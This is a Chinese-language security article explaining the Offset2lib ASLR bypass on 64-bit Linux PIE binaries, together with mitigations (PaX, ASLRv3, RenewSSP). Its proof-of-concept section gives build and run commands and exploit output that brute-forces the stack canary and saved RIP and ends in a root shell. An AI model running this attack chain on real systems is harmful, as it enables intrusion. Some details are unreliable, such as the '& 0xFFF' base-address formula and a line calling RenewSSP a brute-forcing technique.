前言
地址空間布局隨機化(ASLR),在你知道目標代碼或資料定位的前提下,它可以變成一種規避攻擊的技術。正因為駭客並不知道整個地址空間的布局,ASLR技術變得極為有效。只有當可執行程式編譯為PIE時(地址無關可執行檔),才能最大限度地從ASLR技術那裡獲得保護,因為其所有組成部分都是從隨機地址載入的。
然而,當可執行檔被編譯成PIE之後,GNU/Linux下的ASLR實現的過程中,會出現一個名為Offset2lib安全性漏洞,其專門用於繞過在GNU/Linux下如ASLR之類的對於普通漏洞的常用防護。
下面會詳盡向您說明該漏洞是如何被利用的。該攻擊能繞過平常使用的保護技術如:禁止運行位(NX),地址空間布局隨機化(ASLR),堆疊溢位保護(SSP),並在很短的時間內就能獲得一個遠端shell。
FreeBuf小科普
libc:Linux下的ANSI C的函數庫。 ANSI C是基本的C語言函數庫,包含了C語言最基本的庫函數。
fork伺服器:並髮型伺服器。
ROP應用:所謂的Return Orientated Programming,早期也叫ret2libc。
基址:裝入一個模組,從某地址開始存放,即此始地址。
Grsecurity/PaX:PaX從一開始就主要關注如何防禦和檢測memory corruption,後來Grsecurity社區發現PaX和他們所關注的非常類似,所以就合并了。文中的攻擊只有它不受影響,但是只有Gentoo和Debian Mempo提供了直接使用Grsecurity/PaX的途徑。
ASLR漏洞
ASLR漏洞只適用於GNU/Linux系統,該漏洞不是由於程式碼錯誤導致,而是因為設計缺陷。幸運的是,在64位系統中它可以被輕鬆修複。
當某應用由PIE編譯時間,就會出現這個問題。該可執行檔的鏡像被當做共用庫,在記憶體的隨機位置出現。載入ASLR對象的GNU/Linux演算法實現如下:
1.第一個共用對象會在該應用裡的隨機位置載入
2.對象載入會呈連續狀態
因此,記憶體位址泄露決定於該應用是否有足夠的空間去隨機化該應用的記憶體映射。在初始化後沒必要泄露地址,只需要程式的進程計數器即可。
offset2lib的值是一個定值,在每個系統可能都不一樣,它決定於庫版本,以及庫載入的順序。
Offset2lib攻擊
這種攻擊的目標是獲得應用代碼的地址。接下來的這種攻擊,採用了標準的緩衝區溢位漏洞來擷取儲存在棧裡的應用代碼的saved-IP地址(應用地址)。
我們分五步實施了攻擊。首先,我們的攻擊對目標程式和其執行環境做一個離線分析。被ASLR隱藏的未明資訊能通過暴力獲得,這多虧了目標的fork 伺服器結構。一旦我們獲得了目標應用的完整地址,應用的基址就能被計算出來。最後一步則是對整個庫做記憶體映射,這將決定於目標GNU/Linux的版本。獲得隱藏的未明資訊後,利用ROP應用獲得遠程shell是非常容易的。完整的線上攻擊流程或許會更短。
攻擊的流程總結如下:
1.提取靜態資訊
2.暴力擷取saved-IP部分
3.計算應用基址
4.計算offset2lib常量
5.獲得記憶體映射地區
圖解流程
第一步(上):設定最高的24位(Hardcoded),這些位元位是離線擷取的。
第一步(下):設定低12位,這決定於對齊情況(From the ELF)。
第二步:剩下saved-IP的28位(Unknown),由byte-for-byte攻擊從saved-IP那裡獲得,只有3.5位元位(加起來28位)需要爆破。
第三步:通過使用saved-IP進行計算,我們可以獲得可執行檔的基址:
App_base = (savedIP & 0xFFF)-(CALLER_PAGE_OFFSET << 12)
0x00007F36C6fEB000
第四步:計算出目標庫的offset2lib值,它會因系統的不同而不同,但相互之間有很大的相似性。獲得這些offset2lib的值有一個迅捷的辦法,那就是本地執行該應用,列印出位移量。offset2lib並不決定於應用本身,我們需要為特定Linux系統版本量身計算。
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
第五步:libc的基址都可以通過可執行檔基址減去offset2lib值來計算:
Libc_base = App_base - offset2lib
我們這裡做的這種攻擊實驗,只是為了展示如何利用ASLR offset2lib漏洞。可以預見的是,利用這個漏洞的方法是還有很多的。
概念證明
這裡有個實驗供您利用offset2lib漏洞,讀者可以按步驟跟著嘗試:
1.獲得libc庫裡offset2lib值的小程式:
下載地址:get_offset2lib.tgz
2. 漏洞伺服器環境:
下載地址:vuln-server-64bit.tgz
3.python編寫的攻擊指令碼:
下載地址:exploit-offset2lib-ubuntu-14.04.1-LTS.py
啟動漏洞伺服器:
$ tar xvf vuln-server-64bit.tgz
server_64_PIE_SSP.c
Makefile
$ make
rm -f server_64_PIE_SSP
gcc server_64_PIE_SSP.c -o server_64_PIE_SSP -m64 -Wall -fPIE -pie -fstack-protector-all
$ sudo /etc/init.d/apport stop # avoid creating cores on crashes (speed-up)
$ sudo ./server_64_PIE_SSP
Starting server on port [9999]
獲得目標系統的offets2lib值(請新開一個選項卡):
$ tar xvf get_offset2lib.tgz
Makefile.offset2lib
get_offset2lib.c
$ make -f Makefile.offset2lib
$ ./get_offset2lib
-------------------------------------=======---------------------------------------
------------------------------=======================------------------------------
Authors: Hector Marco-Gisbert <span class="tag"><hmarco<span class="pln">@<span class="atn">hmarco<span class="pln">.<span class="atn">org<span class="tag">><span class="pln">
Ismael Ripoll Ripoll <span class="tag"><iripoll<span class="pln">@<span class="atn">upv<span class="pln">.<span class="atn">es<span class="tag">><span class="pln">
Comment: Script to obtain the offset2lib value of this machine.
Attack: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
------------------------------=======================------------------------------
-------------------------------------=======---------------------------------------
Offset2lib (libc): 0x5f0000
配置exp:
$ sed -i 's/(OFFSET_TO_LIBC).*=.*/1=0x5f0000/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function>$
1149:e8 82 fc ff ff callq dd0 <span class="tag"><vulnerable_function><span class="pln">
114e:48 8d 45 c0 lea -0x40(%rbp),%rax
$ sed -i 's/(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL).*=.*/1=0x1/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ sed -i 's/(OFFSET_SAVED_RIP).*=.*/1=0x14e/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
運行exp:
$ chmod a+x exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py
exploit-server_64_PIE.py -s <span class="tag"><server><span class="pln"> -p <span class="tag"><port><span class="pln">
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py -s localhost -p 9999
[+] Exploit ASLR 64 bit systems
[+] Trying to find out the canary offset
[+] Offset is 56 bytes
[+] Brute forcing stack canary
[+] SSP value is 0x60e0792a523eb900
[+] Brute forcing RBP
[+] EBP value is 0x00007fff0e79d160
[+] Brute forcing Saved RIP
[+] RIP value is 0x00007f44a19b114e
[+] Text Base at 0x00007f44a19b0000
[+] Libc Base at 0x00007f44a13c0000
[+] Getting shell ...
root@test:/home/test # id
id
uid=0(root) gid=0(root) groups=0(root)
root@test:/home/test #
給讀者的建議
介紹下漏洞的一些解決方案和應用環境。
1.利用PaX補丁預防漏洞
在眾多安全解決方案中,來自GRSecurity社區的PaX補丁,它將可執行檔放置在與其他共用對象相關的隨機地址上。
PaX定義了四個變數計算的隨機值:
delta_exec:程式碼片段,資料區段,bss段
brk:堆
delta_mmap:庫,對應檔,線程棧,共用記憶體
delta_stack:使用者棧
Pax解決方案也會提高這些隨機值的資訊量,即使它能隨機化非PIE應用。它是我們至今已知的最先進的ASLR實現方案。然而,某些人覺得它作為補丁來講太複雜了,比如其存在大量冗餘的特徵,其中某些會破壞某些應用向後版本的相容性。
2 利用ASLRv3抵制漏洞
為了避免offset2lib漏洞,可執行檔應該被定位到一個與庫檔案不同的隨機位置。我們為Linux3.18-rc7打上了補丁,由四個不同的隨機值實現,因此該可執行處與庫檔案隨機處於不同的位置。
3.使用RenewSSP阻止漏洞利用
使用PoC能成功利用棧溢出攻擊繞過ASLR防護,但是駭客首先需要做的就是繞過SSP。如果SSP保護都沒有繞過,這個PoC就廢了。
有一項名為renewSSP的新技術,可以用來暴力破解SSP。這種技術是典型SSP的變異,關鍵的密文會在程式的重要位置動態更新,這樣一來,密文會重新整理地更加頻繁。SSP值會在每個進程阻止byte-for-byte攻擊時更新。這種技術並不會佔用太多資源,只會在共用庫預先載入時進行實施,其開銷幾乎可以忽略不計。
以下視頻給我們展示了如何使用RenewSSP阻止這樣的攻擊: